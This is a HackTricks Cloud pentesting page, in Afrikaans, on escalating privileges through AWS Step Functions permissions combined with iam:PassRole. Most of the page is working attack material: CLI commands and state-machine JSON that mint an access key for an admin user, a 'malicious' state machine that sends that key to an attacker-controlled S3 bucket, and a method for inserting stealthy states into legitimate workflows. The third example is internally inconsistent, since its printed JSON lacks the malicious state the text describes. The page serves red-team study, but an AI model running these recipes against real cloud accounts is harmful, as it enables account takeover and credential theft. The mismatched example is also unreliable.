AWS - Step Functions Privesc
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Step Functions
Vir meer inligting oor hierdie AWS-diens, sien:
Taakbronne
Hierdie privilege escalation tegnieke vereis die gebruik van sekere AWS Step Functions-bronne om die verlangde privilege escalation-aksies uit te voer.
Om al die moontlike aksies na te gaan, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters sien wat dit gebruik, soos in:

Of jy kan ook na die API AWS-dokumentasie gaan en die dokumentasie van elke aksie nagaan:
states:TestState & iam:PassRole
’n aanvaller met die states:TestState- en iam:PassRole-toestemmings kan enige staat toets en enige IAM-rol daaraan deurgee sonder om ’n bestaande state machine te skep of by te werk, wat moontlik ongemagtigde toegang tot ander AWS-dienste met die rol se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongemagtigde aksies, van die manipulasie van workflows en die wysiging van data tot data-oortredings, bronmanipulasie en privilege escalation.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Die volgende voorbeelde wys hoe om ’n state te toets wat ’n access key vir die admin gebruiker skep deur gebruik te maak van hierdie permissies en ’n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet ’n hoogs-privilegieerde beleid daarmee geassosieer hê (byvoorbeeld arn:aws:iam::aws:policy/AdministratorAccess) wat die state toelaat om die iam:CreateAccessKey aksie uit te voer:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Command uitgevoer om die privesc uit te voer:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Potensiële impak: Ongemagtigde uitvoering en manipulasie van workflows en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsbreuke kan lei.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
’n Aanvaller met die states:CreateStateMachine& iam:PassRole sou ’n staatmasjien kon skep en daaraan enige IAM role toewys, wat ongemagtigde toegang tot ander AWS-dienste met die rolle se permissies moontlik maak. In teenstelling met die vorige privesc-tegniek (states:TestState & iam:PassRole), voer hierdie een nie self uit nie — jy sal ook die states:StartExecution of states:StartSyncExecution permissies nodig hê (states:StartSyncExecution is not available for standard workflows, just to express state machines) om ’n uitvoering oor die staatmasjien te begin.
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Die volgende voorbeelde wys hoe om ’n state machine te skep wat ’n access key vir die admin gebruiker skep en hierdie access key exfiltrates na ’n aanvaller-beheerde S3 bucket, deur gebruik te maak van hierdie toestemmings en ’n permissiewe rol in die AWS-omgewing. Hierdie permissiewe rol moet enige hooggeprivilegieerde beleid geassosieer hê (byvoorbeeld arn:aws:iam::aws:policy/AdministratorAccess) wat die state machine toelaat om die iam:CreateAccessKey & s3:putObject aksies uit te voer.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Bevel uitgevoer om die staatmasjien te skep:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Command uitgevoer om ’n uitvoering te begin van die voorheen geskepte staatmasjien:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
Die deur die aanvaller beheerde S3-bucket moet toestemmings hê om ’n s3:PutObject-aksie van die slagofferrekening te aanvaar.
Potensiële impak: Ongeoorloofde uitvoering en manipulasie van workflows en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsbreuke kan lei.
states:UpdateStateMachine & (nie altyd vereis nie) iam:PassRole
’n Aanvaller met die states:UpdateStateMachine-toestemming kan die definisie van ’n state machine wysig en ekstra onopvallende states byvoeg wat tot ’n privilege escalation kan lei. Op hierdie manier, wanneer ’n wettige gebruiker ’n uitvoering van die state machine begin, sal hierdie nuwe kwaadwillige onopvallende staat uitgevoer word en sal die privilege escalation suksesvol wees.
Afhangend van hoe toegeeflik die IAM Role wat aan die state machine gekoppel is, is, sal ’n aanvaller twee situasies teëkom:
- Toegeeflike IAM Role: As die IAM Role wat aan die state machine gekoppel is reeds toegeeflik is (dit het byvoorbeeld die
arn:aws:iam::aws:policy/AdministratorAccessbeleid aangeheg), dan sal dieiam:PassRole-toestemming nie benodig word om privileges te eskaleer nie, aangesien dit nie nodig sou wees om ook die IAM Role te wysig nie; die state machine-definisie alleen is genoeg. - Nie-toegeeflike IAM Role: In teenstelling met die vorige geval, hier sal ’n aanvaller ook die
iam:PassRole-toestemming benodig aangesien dit nodig sal wees om ’n toegeeflike IAM Role aan die state machine te koppel benewens om die state machine-definisie te wysig.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Die volgende voorbeelde wys hoe om ’n legitieme state machine wat net ’n HelloWorld Lambda function aanroep, op te dateer om ’n ekstra state by te voeg wat die gebruiker unprivilegedUser by die administrator IAM Group voeg. Op hierdie manier, wanneer ’n legitieme gebruiker ’n uitvoering van die opgedateerde state machine begin, sal hierdie nuwe kwaadwillige stealth-state uitgevoer word en sal die privilege escalation suksesvol wees.
Warning
As die state machine nie ’n permissiewe IAM Role geassosieer het nie, sal die
iam:PassRolepermissie ook benodig word om die IAM Role op te dateer sodat ’n permissiewe IAM Role geassosieer kan word (byvoorbeeld een met diearn:aws:iam::aws:policy/AdministratorAccesspolicy aangeheg).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Opdrag uitgevoer om by te werk die legitieme staatmasjien:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potensiële impak: Ongeoorloofde uitvoering en manipulasie van werkvloeie en toegang tot sensitiewe hulpbronne, wat moontlik tot beduidende sekuriteitsinbreuke kan lei.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

